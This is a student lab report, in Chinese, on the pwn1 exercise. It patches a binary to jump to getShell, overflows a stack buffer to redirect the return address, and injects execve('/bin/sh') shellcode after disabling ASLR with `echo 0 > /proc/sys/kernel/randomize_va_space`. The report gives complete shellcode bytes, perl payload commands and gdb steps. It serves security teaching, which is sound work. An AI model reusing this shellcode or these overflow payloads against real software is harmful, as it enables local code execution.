目录
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
使用hostname命令修改kali主机名为自己的姓名拼音
下载pwn1文件修改为pwn2022820
使用objdump -d pwn20222820 | more对该文件进行反汇编
按回车往下找可以找到getShell、foo和main函数,main函数执行了调用foo函数的操作
用 cp pwn20222820 pwn2820
对pwn20222820
文件进行保护,防止破坏,然后输入 vi pwn2820
对文件进行修改,不可以使用复制粘贴文件的形式进行备份,后面反汇编的时候会出现格式错误
按esc键并输入 :%!xxd
将其变为16进制
然后使用:wq
保存退出
进入备份的pwn2820文件,进行修改。输入/e8 d7找到要修改内容的位置,将d7 改为 c3
按i进行编辑修改
然后输入:%!xxd -r
还原为原格式:wq
保存退出。
再使用命令 objdump -d pwn2820 | more
反汇编一下可看到已经成功修改
运行修改后的文件pwn2820,发现输出是一个shell,程序的输出改为了getShell函数的功能
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
使用命令查看之前备份的文件格式pwn20222820,objdump -d pwn1 | more
第二个实践的任务就是触发getShell这个函数
观察foo函数的汇编代码,可以看到foo函数在栈中预留了0x1c大小的缓冲区
缓冲区溢出攻击需要通过输入过长的字符来覆盖eip的内容使其变为getshell的地址。因为预留缓冲区28字节,EBP为4个字节,EIP为4个字节,需要构建一个至少36字节的字符串,我构造的字符串是psfpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppsssssssssssssssssssssssssssssssssssss
但是首先要安装gdb,使用sudo apt install gdb 命令进行安装。
然后使用gdb调试程序,输入命令gdb pwn20222820, r然后输入刚刚构建的字符串psfpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppsssssssssssssssssssssssssssssssssssss,发现出现缓冲区溢出错误
输入info r查看寄存器信息,发现eip中的值为0x70707070
对照ascii表可知为“70707070”即输入字符串的最后四个字符pppp
目标函数getShell的地址为804847d,目标函数getShell的地址为804847d,构建输入字符串为ppppppppppssssssssssfffffffffffff\x7d\x84\x04\x08\x0a,
然后输入perl -e ‘print “ppppppppppssssssssssfffffffffffff\x7d\x84\x04\x08\x0a”’ > 20222820,将其生成十六进制字符串文件,输入xxd 20222820可以看到
然后输入(cat input_20222820;cat) | ./pwn20222820,将其作为pwn20222820的输入,程序输出被修改为getShell函数的功能,攻击实现
3.注入一个自己制作的shellcode并运行这段shellcode。
先使用命令 sudo apt install execstack 安装execstack
使用命令 execstack -s pwn20222820设置堆栈可执行,然后输入execstack -q pwn20222820查询文件的堆栈是否可执行。
最后输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
使用的shellcode为\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20222820,使用输出重定向将perl生成的字符串存储到文件中
然后输入(cat input_20222820;cat) | ./pwn20222820运行,先放着不管
再重新打开一个终端,输入 ps -ef | grep pwn20222820查看pwn20222820的进程号。
可看到是5420
然后进入gdb调试,输入attach 5420
输入disassemble foo,可以看到此时程序在80484ae处停止。
输入 break *0x080484ae 设置断点,
输入c继续运行,
在pwn20222807进程正在运行的那个界面点击回车
入info r esp查看栈顶指针所在位置,可以看到值“01020304”的位置在0xffffd6bc
根据我们构造的shellcode可知retaddr地址应为0xffffd6bc +0x00000004=0xffffd6c0,把字符串前面刚刚修改为\xc0\xd6
输入perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_20222820
再输入(cat input_20222820;cat) | ./pwn20222820,这时候输入ls测试一下发现已经调用了getshell函数。
3.学习中遇到的问题及解决
- 问题1:出现这样的错误sudo unable to resolve host test : Name or service not known
- 问题1解决方案:出现这个问题一般是自定义了主机名test,然后hosts中没找到对应的主机名,查看参考资料中的第二个链接就可以解决了。
- 问题2:
- 问题2解决方案:查看参考资料中的第一个链接,提取一下权限
- 问题3:出现Unrecognized character \xE2的情况
- 问题3解决方案:要自己手动输入,不能直接复制过去命令,复制代码可能有非法字符,比如全角符号,或者不可见的特殊符号。
4.实践总结
通过这次的实践,遇到了一些没见过的问题,通过上网查找解决办法和寻求同学的帮助解决了遇到的所有问题,也感受到了网络攻防的乐趣,也学习了如何注入运行任何Shellcode。